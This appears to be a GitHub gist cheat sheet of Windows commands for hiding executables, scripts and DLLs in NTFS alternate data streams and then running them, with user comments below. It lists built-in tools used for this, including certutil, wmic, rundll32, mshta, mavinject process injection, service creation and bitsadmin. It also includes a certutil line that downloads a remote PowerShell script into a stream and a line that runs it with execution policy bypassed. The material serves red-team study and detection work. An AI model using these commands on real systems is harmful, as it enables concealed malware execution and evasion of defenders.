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Execute from Alternate Streams
#Add content to ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
#Executing the ADS content
* WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
* Rundll32
rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll
rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll
* Cscript
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"
* Wscript
wscript c:\ads\file.txt:script.vbs
* Forfiles
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"
* Mavinject.exe
c:\windows\SysWOW64\notepad.exe
tasklist | findstr notepad
notepad.exe 4172 31C5CE94259D4006 2 18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
* MSHTA
mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
* Control.exe
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
https://twitter.com/bohops/status/954466315913310209
* Create service and run
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
* Powershell.exe
powershell -ep bypass - < c:\temp:ttt
* Powershell.exe
powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"
* Powershell.exe
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}
* Regedit.exe
regedit c:\ads\file.txt:regfile.reg
* Bitsadmin.exe
bitsadmin /create myfile
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
bitsadmin /RESUME myfile
* AppVLP.exe
AppVLP.exe c:\windows\tracing\test.txt:ha.exe
@D4Vinci
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D4Vinci commented Apr 12, 2018

Great work man ,this helps a lot 😄

@api0cradle
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Thanks. Good to hear.

@api0cradle
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Hi. This is not persistence mechanisms. This is only ways of hiding programs withing ADS and ways of executing it. How to place your persistence is up to you. For instance a RUN key in registry could launch the WMIC command that execute data from an Alternate Data stream.

@webs3c
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webs3c commented Apr 27, 2018

"powershell Start-Process -FilePath xx.exe" can execute the file too~

@jmaravi
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jmaravi commented Jun 17, 2018

Will AV detect the malicious payload?

@curi0usJack
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@jmaravi - yes.

@zappermax
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What about if you needed to delete an ADS? Not just empty it.

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@adamick098
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good job my brother and Allah Almighty will help you

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MikronT commented Feb 15, 2022

That's incredible man

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lsecqt commented Jan 11, 2025

Amazing!

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